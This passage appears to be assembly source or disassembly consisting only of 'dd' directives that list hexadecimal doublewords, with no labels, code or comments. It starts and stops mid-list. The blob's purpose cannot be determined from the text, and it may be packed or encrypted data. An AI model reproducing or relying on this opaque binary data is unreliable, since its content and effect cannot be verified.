0CB0A1CD1h, 6018D4CDh, 74838B51h, 9440334Ch dd 283A2A90h, 34B80455h, 40801A19h, 0C0C50B75h, 66E62D08h dd 80909B15h, 54CBD524h, 2AC0789h, 80D3361Ch, 7689C0F8h dd 280C6395h, 912A875h, 9C043EE5h, 0AC813A33h, 88C0A09h dd 0A148176Bh, 4885948h, 0D15E8013h, 0F16F5DC0h, 5FE00009h dd 8479FC91h, 593A9471h, 1F531E92h, 4AB41E3Eh, 0AFBC283Ah dd 787AF158h, 0F4A7311Fh, 0B39F1107h, 0EB86B181h, 7C90F1F0h dd 0D65174A6h, 7D950C38h, 0F37E0D48h, 0FC7A141Fh, 7103F480h dd 0D59437h, 68938CD4h, 59B157B7h, 7D106339h, 717A7E07h dd 8E9E67AEh, 3490802Eh, 0A836E035h, 0F52F1Ch, 60329BCEh dd 0B6780310h, 61516300h, 0B5F1CB27h, 0FA31F0EDh, 201A5704h dd 0EB9D90Ah, 237831ABh, 0E0B10266h, 71CB2Dh, 988449A3h dd 0ED39789Ah, 7DDD5504h, 6A8059B6h, 46DC9Ch, 7E11A612h dd 64D65874h, 7D537674h, 0D09D0318h, 0C868795Ch, 12DC8612h dd 198718Dh, 0B51876E3h, 0EC1848C9h, 38BBEA0Ch, 3FE660E7h dd 98186148h, 53F8683Bh, 0B8BD1901h, 787667FAh, 0A52098D6h dd 2CAC3AA0h, 7726C6C0h, 7614C35Dh, 7848CE4Ch, 0C5E5282h dd 0B4662612h, 0B802B068h, 0DA78D92h, 2930B81Bh, 91C50023h dd 6125237h, 0BD52D4A9h, 0AE8AC094h, 0C632A7CEh, 0B8BD6628h dd 2D0A288Eh, 907EDC85h, 522B75A8h, 5D81148Ch, 8AC34E3Dh dd 0B132A600h, 0A9F88C3Bh, 74C384B9h, 0E4119B06h, 62A58602h dd 830FD09Ch, 0AAA02749h, 0C414B84Bh, 42A7C024h, 0C0317BEFh dd 22A9C6C8h, 9623D876h, 71FC0104h, 85525AE1h, 0DE52648h dd 28068C03h, 6A7EA774h, 0CD589476h, 486116AEh, 6AF0F9Eh dd 0F876FDA0h, 0D8C7B11Fh, 0B8875319h, 0A0742953h, 1873E596h dd 284DA2F8h, 0D8A06733h, 60DD16A6h, 6EA06958h, 58200E88h dd 3C959490h, 0C8D113C0h, 6051CAF5h, 0A808F7D0h, 7FB4AB8h dd 8173D825h, 0D90BEB7Dh, 0CD94DCB5h, 8153D30h, 1924C67h dd 1B23EDADh, 0D32D35F8h, 7621F005h, 90709538h, 30A2586Ah dd 46E89F1Ah, 8CA0753Fh, 0A8A7B744h, 46CD400Fh, 19A0C93Dh dd 0F0F958A6h, 4C38A931h, 0DA2395C0h, 7BF8A8D9h, 7C744868h dd 0CEC8DCB3h, 61507B12h, 5B6071F8h, 0F8C2F924h, 0E3D51C26h dd 44FD43BBh, 67F87CFFh, 0E700E0A8h, 2E8C94CBh, 60263FDEh dd 4706082Fh, 7B1D1439h, 9B073680h, 0DB825CE2h, 3A2498D6h dd 0D791028h, 0F6EC0092h, 2DE63FBFh, 3B140C38h, 0B096DBD2h dd 1B012078h, 0A6F88DF4h, 2448EFBEh, 1C3E0055h, 9431EB0Eh dd 800A20CCh, 38D7C63Fh, 2BAC6160h, 6AE802E5h, 808A2C77h dd 90B0DD02h, 18D1E214h, 50EC4E83h, 94EF550Ch, 0C03CBDD8h dd 0B57D362Eh, 0D46C8181h, 50AE3FF7h, 0D3032504h, 4C01E179h dd 4B3FB258h, 871877ACh, 0AC515F42h, 41212B6Bh, 8C939C64h dd 8CA1D5C2h, 5085AAB0h, 0CD21750Fh, 6BCC294Dh, 86F80AD4h dd 3BB0501Ah, 35BB450h, 6D84720h, 0FBE06D59h, 890C692Ah dd 30FD9386h, 540A61Eh, 3E33BE57h, 0CCA40293h, 144739CFh dd 8C851F1Ch, 0B8469491h, 50CD93h, 46F3715Ah, 0FB12DACAh dd 1F0670ACh, 0A8010CC3h, 0C2D0EA38h, 0F3025061h, 641C8896h dd 31F01F45h, 9030CF6Ch, 14C25318h, 8EDF810Eh, 4C01E2A8h dd 3B12D413h, 5E039C4Ah, 0EBAFC335h, 5CAC2800h, 9E9B12D7h dd 18F8488Bh, 7173C8B1h, 8C59867Ah, 2480C043h, 707C5399h dd 0AD0229B9h, 7877CD1Ah, 1845ECh, 846080EAh, 68903236h dd 12EEB80Fh, 0B08D0CDBh, 0DC37502Ch, 8C16866h, 0BCFBC020h dd 0DE503683h, 92292CFCh, 2F404415h, 2DFB26h, 0A452C81Eh dd 23D2C4F2h, 54597F00h, 0BF09304Eh, 0A6B3AC3h, 76268300h dd 0D453CB5h, 70035CE8h, 54C3D214h, 6D43A02Ah, 0C21A0E46h dd 9AC04851h, 1044274h, 18411600h, 0B57CE00Bh, 86BF03BCh dd 0EB064321h, 0FEED03A0h, 8E37DCF8h, 0D70020F8h, 0E4429CC7h dd 4A28A817h, 708503F6h, 0E452CF80h, 0E3D211F8h, 8812F032h dd 951898A8h, 402573E9h, 0D30644B5h, 0C703D21Ch, 0F013FA71h dd 0A4D47583h, 0A9A5041Ch, 5A84555h, 84058124h, 70307023h dd 240DF88h, 52C15FDEh, 10981184h, 7714BC3Dh, 26801881h dd 0BF05C16Bh, 14316F03h, 0C5D84B63h, 8ACB801Bh, 3CC78C00h dd 1CB83942h, 0BC08C235h, 74B83A2Fh, 4E00F340h, 34A67DF5h dd 0E051338h, 6F0B3360h, 0F0683A00h, 400E5F3Dh, 0EC8E5D14h dd 1B328B7h, 0EB82AE81h, 0E804CFCAh, 970FF6D3h, 8A9F488Ah dd 59C0202Bh, 0FFC1C070h, 0FCE55300h, 0C7CB910Ah, 0B6401433h dd 4008E895h, 9602F311h, 0E14B8286h, 1A5E3009h, 77B4B700h dd 0E7933835h, 0A982BACh, 16FA0E3Ch, 12A837C4h, 97E33D02h dd 833CB1CAh, 29F3F0h, 0D33837A1h, 4A97F96Dh, 664F0185h dd 62DF8Ch, 141B573h, 4D96EB34h, 4CB6F174h, 0DD1C8C40h dd 30B07F61h, 1F4BC313h, 0D4820BD4h, 8DB19434h, 80A66180h dd 7999B331h, 0A6F36BD4h, 1E1F3E44h, 0A7AD010h, 94BAAF53h dd 0CC9DB10Ah, 6A830Fh, 99C6A1ABh, 834AC2Ah, 0CB650E32h dd 0E5E9F385h, 4623C802h, 3838B834h, 3161F7C6h, 9ECAB810h dd 0C14AE82h, 0A54FDB36h, 0AE323359h, 0B8CB8881h, 3EEB16B8h dd 0ADC491B9h, 80288352h, 95CFEE10h, 0B80D5035h, 0E0D065ECh dd 742830CDh, 0A5202C06h, 0B0132010h, 0B58064A5h, 0A4D54742h dd 791D8037h, 676A8A17h, 0F6CAB703h, 448AA70Ch, 0C60683CEh dd 536100B1h, 0EA8A0E0Fh, 40C4307Fh, 2C141ACBh, 6325D4A0h dd 0F3712B60h, 0A5345556h, 0E0678288h, 93204119h, 997E21Fh dd 3473A40Ah, 0D8068016h, 0AD6C2543h, 3F330A30h, 0E05C97F7h dd 12D5E42Ch, 0B4364728h, 99CE4F03h, 12EA264Ah, 1D493430h dd 495D244h, 8EF85BA0h, 12A70290h, 0A0EFD109h, 99DD55C4h dd 467802CAh, 137D2B33h, 0E9E30063h, 40C40818h, 0A54187E8h dd 0D110E60h, 13997E8Ch, 0A408061h, 989AFBC2h, 0F4164070h dd 369C0804h, 90937C4Fh, 98392470h, 4A5B78C0h, 0BF31F9E8h dd 74811024h, 0C18668D4h, 6FF02909h, 1975E06Ah, 0BC6DAB28h dd 71410D1h, 7929F15Fh, 0AF15608Eh, 0DA071Bh, 2F1AEF4Bh dd 0AB2BE6ADh, 1FBF3Fh, 39A919E5h, 2718B4AAh, 90F02322h dd 16FCF600h, 30119E32h, 61A0013h, 190BC95Ch, 0B00FCCB8h dd 0BEFD7Fh, 78564332h, 2873E3h, 920DCF75h, 0ACB05FEh dd 0BE3AE600h, 45733D29h, 13500058h, 0F3E5D278h, 61003541h dd 0C6D58B51h, 3866ABD9h, 8C00E327h, 47FC23CFh, 3F039C3Eh dd 2EA3BEB5h, 0DB1BB034h, 3A94F802h, 2C0FB371h, 0B7274AD4h dd 362B2095h, 4401A1FEh, 0B48FF11Fh, 0E5E423A5h, 0B173D1h dd 5A7F143Ah, 8B7A1725h, 9000CF78h, 9A3C677Bh, 9FF55Bh dd 0A4DF6C89h, 483741A6h, 9DCE2C00h, 128F77EFh, 5F0E2ACh dd 0CA91208Bh, 1EBC0082h, 29C13CB8h, 0AB957D00h, 77A79C0h dd 86EC3A9Ah, 0FAEB9C87h dd 208E8024h, 8D60B058h, 361FE338h, 7C37C57h, 0AB126878h dd 0CFBB10C9h, 0AA0021D9h, 6E17993Ch, 0F49EB071h, 1F3B0070h dd 98FB8C1h, 0E9288523h, 0EB00AC7Bh, 770C8D95h, 3537AFh dd 4BFF6A55h, 0CC7CFA5Fh, 0BE70FB00h, 919E9FF3h, 1BFFA3Fh dd 0CD888A9Bh, 61861E84h, 824ECCBBh, 0F8835E00h, 98460375h dd 0F6933FF5h, 0D1C57B80h, 1E2BFD2Fh, 7EED5E03h, 9A51E4C8h dd 60A4C292h, 3E68FCh, 2D1F3C4Eh, 8B2FFEFAh, 0D9C0C27Eh dd 55B616D5h, 3AF80093h, 1DDF6D25h, 0A001AD40h, 0FFC398B4h dd 0CEC47704h, 0C2470026h, 0A2948EFh, 0B10CC719h, 0C87180B8h dd 0E30D0066h, 98CF86E9h, 1C86ADC4h, 7AF2B3h, 0F8C7708Dh dd 2EFE4A69h, 0DC98C300h, 0F206F188h, 0DFBC0B96h, 0F283BE28h dd 79F8EF9Ch, 744892A0h, 1ADD04ABh, 0B080FA45h, 253028h dd 8BC44FCAh, 1EA2735Dh, 0FFAA9300h, 9EF3444Ch, 9F160098h dd 92856C94h, 5B07B77Fh, 41711AD2h, 0CABF7620h, 0D5C2005Ch dd 862FC34h, 0E5047A40h, 4732690Fh, 0B1348Ch, 0AFBDEABCh dd 2FB4BAA4h, 7E3C8900h, 0DD83990Bh, 0F02D480Eh, 14946800h dd 2E8F7B56h, 0BC518500h, 2517588Dh, 4C0B0088h, 43714B1Eh dd 0AC72C0DCh, 2F230400h, 0E6F559EFh, 864C1392h, 2A0600BAh dd 448B8028h, 9008375h, 0DEFB38D4h, 8F2005h, 0CADA183Dh dd 2DEF3E58h, 0D76A100h, 6551532h, 7F2E243Ch, 0DB51009Ch dd 47975C6Fh, 26F0EFFFh, 0E000842Dh, 4437A80Fh, 3CADC1DAh dd 710005B9h, 2AF560AFh, 0D238D717h, 0B3D90028h, 0A03D75D1h dd 82560E50h, 9160B625h, 0F5AA297Fh, 5F613C00h, 56C07417h dd 89E283Ah, 0DC5C13F0h, 8A2C03FCh, 0A1E0C9F8h, 9D007168h dd 0B7B5AA14h, 3CF5E911h, 0DF00A60Ah, 0CD20346Fh, 54194AD1h dd 5C28D324h, 3F09E0h, 0A3B3571Dh, 0EC1CF2D4h, 844E8900h dd 72E7BB26h, 942E029h, 8F6A0B41h, 48FAC700h, 570084B2h dd 0F87FD826h, 0E835572h, 3E32FD74h, 0C5152BA0h, 380EB2CCh dd 0A0B44CA4h, 647318DBh, 0DF5A00F9h, 993EAA2Bh, 7200AED4h dd 0C257A58Ch, 0E0096BDBh, 279BA0B9h, 22EE16B0h, 7A0F009Bh dd 71C5D7C3h, 0DD5F8000h, 0F42EB456h, 0E7F20032h, 39E2A738h dd 2F0068E6h, 29CEC07Ah, 1D32796Eh, 876637B0h, 114F4C52h dd 34AC4626h, 94F2CC68h, 0F5A93700h, 5BFD4463h, 5C410006h dd 1CED9B58h, 560D54Eh, 21536EC8h, 7D2E0028h, 7076F82Fh dd 8005871h, 54B231F1h, 1FAE42A7h, 0C4C51FC8h, 80DB3CF6h dd 3DC0F3B6h, 820FB61Ch, 9B93E800h, 6BE9A7Ch, 81CE48B0h dd 0C00C4A9h, 73916946h, 1D1B941Eh, 8E642980h, 6820E348h dd 92256B33h, 46A48200h, 0CA4FC4E1h, 58611D70h, 34FC00AEh dd 0C54264AAh, 0CBD4B200h, 8E1C99C0h, 0C6EA4Bh, 0AE8210Bh dd 0E6387724h, 132F811Ch, 1EF53100h, 0F0A8CDh, 0AF3EA23h dd 4275CAAAh, 9B974007h, 4BC2AEF7h, 0BCC640FDh, 63DB4881h dd 80FAE600h, 596549EFh, 0E075D7E8h, 72B9C700h, 1B02E715h dd 0A8D61DF8h, 29DA4064h, 225D6CA3h, 0E7103200h, 0EE423EECh dd 9156001Eh, 9F59BBEh, 0B007295h, 62E949B7h, 7101C05h dd 1A00DF6h, 0F3BFA054h, 0FC003EFAh, 0EB805398h, 2F32CAh dd 0CC73838Ah, 2BCB025Bh, 8F574D00h, 0BD475522h, 3E3F7280h dd 4087B252h, 70FEF670h, 2066E91Ah, 0BC8DF000h, 3FB5E84Ah dd 179F0369h, 5C02951h, 4998A5D8h, 0CA113Eh, 0C3859599h dd 6DA4B4h, 0B37327E5h, 837B8C42h, 0B6048200h, 0EB911BD7h dd 9BE200E4h, 0ED5A3A22h, 8A00A9F0h, 0C6F5B363h, 0AA7D89h dd 94654CACh, 0D36CADFBh, 0E0585400h, 0B0B99FD6h, 0C95A0F49h dd 0BBC0F257h, 0AFE8A876h, 8133EE03h, 882848F9h, 9F7E7A59h dd 0D3002558h, 67F8E72Ch, 7BDC6Dh, 0D66090F6h, 4B23E055h dd 92B5B402h, 409C4252h, 2F4780h, 498583CCh, 6C68AA69h dd 6FF98A0Eh, 64A0A021h, 0FA4BD3h, 0C5B03EFDh, 599E9AEEh dd 5CF52000h, 0E113719h, 714F005Fh, 529B2C87h, 6A5898F1h dd 647D0183h, 0F6E457CCh, 73A9130h, 6D72A168h, 1835F097h dd 67000EB2h, 8D05ED95h, 30F09FEBh, 42218E7Bh, 47037DAFh dd 75FE9565h, 0D636F08Dh, 0D21F0FA7h, 40E06D15h, 2EDEB0A6h dd 0C928AA60h, 0FC0E71h, 0E521C805h, 0D04F35C2h, 0C9495667h dd 2FDA6690h, 689C6763h, 63030AAh, 0E1039FFFh, 210D7C05h dd 3A313071h, 160F9960h, 0CA10BE4h, 64A8A1E4h, 0E11BB580h dd 373C1E6h, 0A6EA9CD4h, 4C884099h, 1D027882h, 0F304772Ah dd 8DAE4071h, 430A01EAh, 5C73E3FBh, 0D9F8E0F6h, 0C55A3Dh dd 4012D6E2h, 1BC3433h, 132A9FEh, 0C814163Dh, 600C697h dd 6E1075D6h, 6585A5h, 6F315B8Dh, 69452689h, 2FAD280Fh dd 0F6908015h, 38F524F7h, 72803308h, 104035B3h, 0CC008BA2h dd 0FC237E75h, 2CFD5Ah, 6DD61F9Ch, 1ED9031Dh, 4683A800h dd 0A326FF71h, 9C7001E0h, 1BB68680h, 20B047C6h, 0D8973AEEh dd 1C56A000h, 0ABBA6EB2h, 9C303B2Bh, 268C200h, 9D63BFF6h dd 0D29C1654h, 1A65A600h, 369BA099h, 3A70CFAh, 6A20B533h dd 799EEA0Eh, 0C55E20C4h, 2888C035h, 0FC04399h, 1DEFCEBFh dd 51B04B06h, 0EE9C8C00h, 8E9F6560h, 96AD31C3h, 5F954F18h dd 859DB004h, 0FEC50F24h, 0BF80E06Eh, 712EE8C0h, 6C12657Bh dd 2C427C8Ch, 3E60D51h, 0F83AB51Ch, 4AE50717h, 34CA0440h dd 0A5D1E2D8h, 706C614Ch, 0D5508315h, 0F8D3666Dh, 0A7D7Bh dd 8299F8C1h, 0B584EF42h, 7E88A218h, 20303818h, 0B4FC43C0h dd 0A7742884h, 894F1118h, 3FDC1092h, 1C222085h, 210C2A30h dd 0C4061582h, 28497798h, 540C1890h, 0A8AA18C8h, 44066C0Ch dd 4E422FBEh, 2860982Ah, 280C02B3h, 0EB24A490h, 742940Ch dd 0CA58DA2h, 265444A8h, 984C220Ch, 445BA384h, 0CA97091h dd 3C24514Ah, 230C418Bh, 60A848ABh, 0D82A9842h, 19A46718h dd 11B0C795h, 0F00D46DFh, 0C0D86B9Bh, 1FD6C418h, 80CE4C7h dd 63006A5Fh, 9866B591h, 0D049A6h, 97C63700h, 6F7839F7h dd 32EE6500h, 765FFE87h, 0BBEA3D4Ch, 6BB55500h, 0EFFD8047h dd 8B2E2004h, 0A4D04B2Dh, 379841FEh, 0A1E8B7CDh, 403D7881h dd 0E1E81CB0h, 6FD05260h, 32D57Ah, 47E0B370h, 5611754Ah dd 0A8300E18h, 0C3F5CB9h, 981B4D38h, 9F00F6A1h, 33EAF060h dd 2E328Dh, 9EE8F5ABh, 0E046506Ah, 0EEDDC71Eh, 0A90CFDC7h dd 0C8B1FAB0h, 0FC28298Ch, 8BADE01Ch, 9607D607h, 0D40CB2ECh dd 4B8DF70h, 0F79001Bh, 6575530Ah, 0B11FFC15h, 9140B2F8h dd 2034AD48h, 0D358C0EDh, 0A944F782h, 0A4003E7Ch, 0E05C98Ah dd 0F493F1h, 14B8BC4h, 3DA9DF09h, 0B3E8410Eh, 3EB16058h dd 1D8C5639h, 28B95172h, 0C8533014h, 3FD3CE68h, 7A2D44h dd 26490C87h, 1B375DACh, 0A1B9670Eh, 0FEAB24F4h, 0E3AEC0AAh dd 6500EECFh, 93627A9h, 3C408996h, 91808A7Ch, 5001AA1Eh dd 623E4D80h, 7DB50044h, 0CC12D7A8h, 727800DDh, 653384D6h dd 3600A34Ah, 9BDC0B41h, 3FBF063Bh, 68806FD7h, 2248E7D4h dd 623007ECh, 0ED9818BEh, 2AC8013Ah, 7C355434h, 4096C236h dd 5238AB00h, 1283A45Dh, 41ED00BEh, 3A1AEF34h, 3100F282h dd 81A2EB26h, 0FABCAC74h, 8ED61E68h, 0F4AD46B5h, 17F2A854h dd 829E18C0h, 0F4F9F63Bh, 1266006Fh, 0F106B421h, 0DA2034C0h dd 621400F8h, 3DB04758h dd 0D5030C63h, 5907D79Eh, 31213EFBh, 18D4A019h, 912C96DFh dd 9E3EDF0Fh, 0FA31D2D8h, 841882FCh, 0EF0CE583h, 910FD24Eh dd 16BF283Dh, 7C590699h, 187636D5h, 2E74C701h, 7E994C5Bh dd 281EBC40h, 97423EE5h, 8AC93E80h, 815FC541h, 802D2739h dd 89A80875h, 0F8C26838h, 0E10E34C1h, 4E881F80h, 6343361Eh dd 50197C58h, 66F145CCh, 7465D4h, 3FE44408h, 80492D0Bh dd 35C0AD00h, 4B7F7B6Fh, 6A8903B1h, 0E5AA3C26h, 0BFBB393Eh dd 0B85600F2h, 0B5F7CDE6h, 61AA0926h, 10007546h, 0FECEA283h dd 782F7A00h, 320A5E35h, 6E783B5h, 8E18F0B8h, 0BAA0A050h dd 0F0B91CC8h, 617440A5h, 0CBBD0EF5h, 49D35F01h, 0AD4CCD99h dd 0AC68FCh, 3E13D02Eh, 37BFA861h, 0D6FA9300h, 6329F5DFh dd 0E9786714h, 5E81C8C5h, 0F1D1D582h, 1172305Ch, 0C5C4BEA1h dd 0E803C922h, 4079DE3Ah, 5A8850h, 0BDAA5968h, 8B1E74C4h dd 28A21700h, 0E6760F1Bh, 7D7A019Fh, 6562474Ah, 0E5388367h dd 0B7401C0Ah, 2C03D3C0h, 18DD7C91h, 70A746B1h, 0BC3C1072h dd 2ADE00C8h, 0D9A151ABh, 49122A01h, 0BE2928E4h, 509E60ACh dd 0E3960897h, 14BCCD3Bh, 74A03FA1h, 14092824h, 382C6180h dd 3B45CE1h, 7F5E12E3h, 4689CFE9h, 0B2D09D1Ah, 7D635F40h dd 75D5CC0Dh, 58710CC7h, 0F66873FAh, 0A61ABD18h, 490C29A0h dd 0C400C4ABh, 0D0276BBBh, 8C90548Fh, 449850ACh, 2F98CC75h dd 0E3017618h, 7591719h, 0C20B7E51h, 0E2A8F02Ah, 0E403614Eh dd 46C9FCD1h, 48F9F2FBh, 3035D0h, 77B0567Ah, 1FD53852h dd 0B1E5BB00h, 60D0DFC6h, 4E9700EAh, 4FDC8054h, 0C207082Ch dd 11A75571h, 9F0DF4F0h, 312F7BD0h, 0F30CE6Ah, 0D73980F6h dd 10321D2h, 57FB03C1h, 845A0E9Eh, 0E892AAF1h, 72006729h dd 85D6F256h, 0E62F5F08h, 1EA1F1Fh, 0F4EDC04Ah, 1BD09659h dd 0B3B07218h, 7CD5780h, 7D931A2h, 705C57C1h, 0D8602440h dd 973B7319h, 86088A30h, 0EA513600h, 87B2F249h, 399830F8h dd 4C85DF29h, 90F003F7h, 0C4776DCh, 7AACC127h, 0A4009FD1h dd 0A769F148h, 284F99h, 0F9753B83h, 0B4B9A3FEh, 86D99218h dd 236A1111h, 0E9841891h, 74208738h, 5880DA76h, 3902EE69h dd 0DC8747CCh, 0D061B8D3h, 5EF8496Bh, 4FEB3303h, 0A09307B0h dd 1D6E7502h, 4B12CE67h, 7180C325h, 339FC9Eh, 7B656674h dd 443FE38h, 0D86873DEh, 0DEFDBB6Ch, 0A8DB4018h, 0D82D18B8h dd 0CC19570Fh, 0A180C02Ah, 3063E79Eh, 59407985h, 361E95F0h dd 7D14D024h, 0B5AE00C8h, 3706D91Fh, 3ED43A66h, 98EA1D80h dd 60B11EAAh, 1ACC620Eh, 4474C8h, 616EEC6Ch, 0ED721CDh dd 3580D437h, 46A28820h, 0DD5492CEh, 57074A98h, 7408D3C2h dd 29561E80h, 27E107F0h, 0C63D11D7h, 7B0E2860h, 0A1EFAF18h dd 36DB13C7h, 505005C7h, 805BE784h, 0F84AA09Eh, 11EA4330h dd 1C3A4B2Ch, 854E53DAh, 211C410Bh, 954FB030h, 4883B1h dd 0CB29C7A1h, 1C3C70C6h, 20019EA4h, 26617D3Eh, 0E738838Ch dd 7910EF38h, 2F66624h, 620C153Bh, 84A0FB88h, 0A69CB871h dd 3189D98h, 6A1887F8h, 0D2573C13h, 0D016B280h, 0CF76E336h dd 0D3173800h, 0B926E043h, 0F9730A3Dh, 80ECC133h, 0AC7921CFh dd 27003B22h, 7742F308h, 0BE5D1h, 946C4323h, 72E62B57h dd 0E81F75Ch, 0DF15DEA6h, 9E13AC40h, 0DAD552h, 0D0A7516Bh dd 0B32AED19h, 28A5A030h, 6F61BB48h, 42A0D99Bh, 0A446767Fh dd 2C23B800h, 0FBDF7B0Dh, 0B84C7454h, 214A09AFh, 8C283A73h dd 513B00C2h, 0B85FFBE5h, 0FD7A1007h, 947D929h, 71C9D266h dd 0C10D1D92h, 1D5141BAh, 40860421h, 0CE158F8Ch, 7E7ABC31h dd 588774E2h, 70729954h, 1822B561h, 40F75100h, 656EA2CBh dd 0E1460179h, 572545C0h, 59782456h, 2FEAC8E2h, 72A2EA0Ch dd 58AF6D2h, 0F78D390h, 0D1158055h, 2B4CD01Ch, 1FD401E8h dd 0A5F8FAE5h, 1D4E48C0h, 0C4DCDE26h, 0C1E1492Eh, 0D4DFB8EDh dd 573895BBh, 0D2170C6Fh, 394808B5h, 0E9809841h, 75CF9E90h dd 4006268Fh, 2A379D89h, 4B5A0020h, 0F7A0C3CDh, 0B803C454h dd 79D0C17h, 577FC06Ch, 0F941F8B6h, 0B167D0h, 29DE2FF3h dd 28019105h, 49408BE8h, 0B1E6E0h, 0A2A0C806h, 154E0A84h dd 0BC93F00h, 0F473BC85h, 96D6007Bh, 19168135h, 1301DB8Eh dd 207DAA17h, 0B8F52530h, 249028F4h, 1E452FC0h, 31A9079Fh dd 4064C39Eh, 76692007h, 1E47AF79h, 415707F0h, 0EC3A0106h dd 0F23E3CA6h, 9BF2DF42h, 0D2F06860h, 0FC14DF01h, 84A77215h dd 0B300B1B8h, 0F4110F0Bh, 0F2171809h, 0D1107B33h, 1712028Ch dd 9001D599h, 0E5F0C5A4h, 0A0044C31h, 308A423h, 0F5B78D21h dd 0D3B0AABCh, 63002AB9h, 3BEFEB9Ah, 0FE91FEDh, 0A75E6251h dd 17EE2080h, 440078C3h, 7C8372FBh, 59BB56h, 189995DBh dd 4E9231F1h, 47E850F2h, 6008B36Fh, 394FC91Fh, 0EB79016Ah dd 0BB776DCBh, 72A06A30h, 171F00EEh, 19ED74B2h, 530EFFA4h dd 80FE7E4Ch, 0AC8EF7Bh, 0F19100E9h, 0FF5FD0CBh, 0A60CB33Dh dd 61429EE1h, 3FF87025h, 0D20090A3h, 0B54C68C4h, 0F6E2E0B7h dd 3F0CF1Bh, 0D7DAB0D1h, 70BF490h, 5E609B10h, 0A306206Bh dd 2C007698h, 0DCD1DB6Ch, 7DE488EDh, 564C0701h, 249F3B2h dd 51E0EB25h, 9438F067h, 2A187587h, 3B46ED26h, 757D00C4h dd 9A811D61h, 0ACEA1379h, 2308BF00h, 0C536EDE9h, 2A1F60E4h dd 66CB72E3h, 0BCB31200h, 7A759DFh, 0A28A0014h, 2E417121h dd 8F00C01Ah, 9BF06C55h, 3748CEh, 0EA8870A0h, 8D56F609h dd 0A0E1400h, 5F34A626h, 0E66B0076h, 0BFDC16D6h, 2F00F6FEh dd 0DF517CBDh, 537635ABh, 88C004C6h, 22697975h, 138DA00h dd 0DCA53B25h, 0E4AE0007h, 0C5B5718Ch, 4EF036ABh, 3BF71100h dd 9E8A69CDh, 2294007Dh, 6330C28h, 0A30E0BBEh, 27EB1635h dd 2C5020B5h, 812EF7C8h, 36918439h, 6287892Fh, 0C4533810h dd 93E21247h, 98C9181Bh, 10008FCDh, 560E3D20h, 0FF4A8h dd 0B716D04Eh, 6311CF6Bh, 5C69F300h, 859B2FFAh, 0E608C657h dd 40012013h, 0F31EF052h, 0EBD97020h, 0AFE4E8h, 0EEBB36D2h dd 5013117Dh, 0E4A38h, 0B468178h, 7651A6h, 0D71CBB3h, 9D080C8Bh dd 0A353AA01h, 0B6A105A8h, 2FE2D3h, 180F5E1Ah, 637CCC00h dd 0E998BBE4h, 0B9F01CF4h, 8FFA4397h, 78930C0Dh, 0A6A10FE0h dd 3071DA2Ah, 0ADE32750h, 30B6AB2Ah, 0CC2A20h, 720FBC2Bh dd 6B7DD608h, 31E19500h, 28EB43E3h, 1E940FDDh, 4FA504A9h dd 0A1C7008Dh, 5A57F2B7h, 71940E54h, 0F5592D00h, 303CB092h dd 4C8D1D81h, 70CA1E40h, 4A0C5288h, 0FC9DBCA1h, 0F1CEEC0h dd 280CCDEh, 8861829Fh, 8AA00CAh, 70D1E942h, 0E300A36Ch dd 0AE21B423h, 1D57B1C3h, 0C185047h, 920141Ah, 0EEB6D700h dd 99404AF6h, 7717C7Eh, 1F98F531h, 800547EBh, 9F46DB43h dd 851B4801h, 861823D1h, 64122ED1h, 4D53BA60h, 21223Eh dd 77F97EC5h, 3064858h, 99076097h, 0AFE0D9EEh, 0DC697363h dd 0C80075A1h, 910FFF26h, 865CEF07h, 2046F078h, 39C60041h dd 43E54426h, 0FC1D8E1Dh, 0E180A575h, 0ECCC36B1h, 3BA9007Dh dd 57D320DFh, 0BC18288Eh, 0A061068Fh, 0ED7DC1h, 33AA8DEh dd 361A40A5h, 0D9108B14h, 0C56D0098h, 2B64025Ch, 0F081B569h dd 0D4DE3F53h, 0CD06052Ah, 7432185Dh, 3A9078h, 0AE0BDDDAh dd 2661F086h dd 18F4513Ah, 2C20A42Fh, 0BDDD0074h, 0F179188Ah, 2E289F03h dd 0A0FAD0F7h, 3A541400h, 7FEFC009h, 91FC00DCh, 5DE8E7Eh dd 0BA3FBB89h, 0B601034Bh, 80D23B3Ch, 8AB0CFh, 5C06F976h dd 7895DB4h, 0FC867A01h, 4CFB66A8h, 14807DD0h, 0E063B2C7h dd 781F9600h, 0A172C6D9h, 13850203h, 0F05474A2h, 0E845DD40h dd 20DE613Ch, 20863726h, 5FFAC8FFh, 0ACA16000h, 311EF8B3h dd 0CBF0E47h, 51F809C6h, 4B003EBAh, 55925787h, 3B3664Ch dd 3375AC3Bh, 31077DDDh, 45AF9C73h, 0E0C73C13h, 4423DBh dd 0CEC5E29Dh, 0E77C776Eh, 41793Eh, 0C173AB66h, 0CF390Ch dd 2385612h, 67D52B45h, 87C4CB3Dh, 0A3FD71F7h, 0C94259E0h dd 3441F38h, 980640F2h, 9543A2C7h, 0C172AF03h, 801ADEACh dd 701C3569h, 1E903A8Ch, 20D30518h, 18007ACCh, 0DF40945Ah dd 3C9B8DE5h, 0ED01FFF3h, 0EF0D8CCAh, 79C9837Ah, 9BC804BEh dd 51FFA8D3h, 187F01C4h, 8CF63715h, 1E29DC7Ch, 1DF9E55Ch dd 0DD06E0C6h, 41DBF1h, 0CCA67552h, 0A2B549C4h, 0D99E3C1Dh dd 206D190Ch, 0A7EF0032h, 905EE781h, 203727Bh, 10C27FCEh dd 6CAB0B4h, 0CFAF3049h, 0F1877498h, 0CE9A260h, 1F29F026h dd 83B7D0B8h, 737C461Ch, 80D815A1h, 293D0680h, 0EF64087Fh dd 3D3E77D0h, 0E080586Dh, 0FD61409Eh, 0CF03DCA7h, 3A307445h dd 0F440FD3Fh, 5E115DAh, 0FD1D0083h, 1C8E4C4Bh, 0A3E4DE01h dd 0D3F8B003h, 0C93BF2E5h, 38232918h, 0EC39F548h, 312D8C92h dd 0C6738h, 1E85834Bh, 80CB9809h, 545B44A5h, 0ACEC226Fh dd 289ABD29h, 0B2186859h, 997AD705h, 0E5C03DC7h, 0C16A70h dd 3109C0C8h, 9F4881FFh, 149371FEh, 0CB1AE300h, 851F7D63h dd 1B953B80h, 9D64D8h, 0C34A5676h, 119BB174h, 0FE142402h dd 971CCC33h, 0C6B4082Ch, 0B032A460h, 104F2CAh, 1C606656h dd 85382410h, 5543C1D9h, 4180E44Fh, 0EDD5F727h, 1BBC6C80h dd 0ACC5331Eh, 79208A00h, 0AB7E669Eh, 413660F6h, 0A47F26A0h dd 758D2F00h, 1C3849Bh, 2454E431h, 0C1DC21B6h, 26F0876Eh dd 24B7002Ch, 0A03FA78Fh, 0DB24841Dh, 70344CDh, 0F8AE18B8h dd 0F7918Bh, 336CEF0Bh, 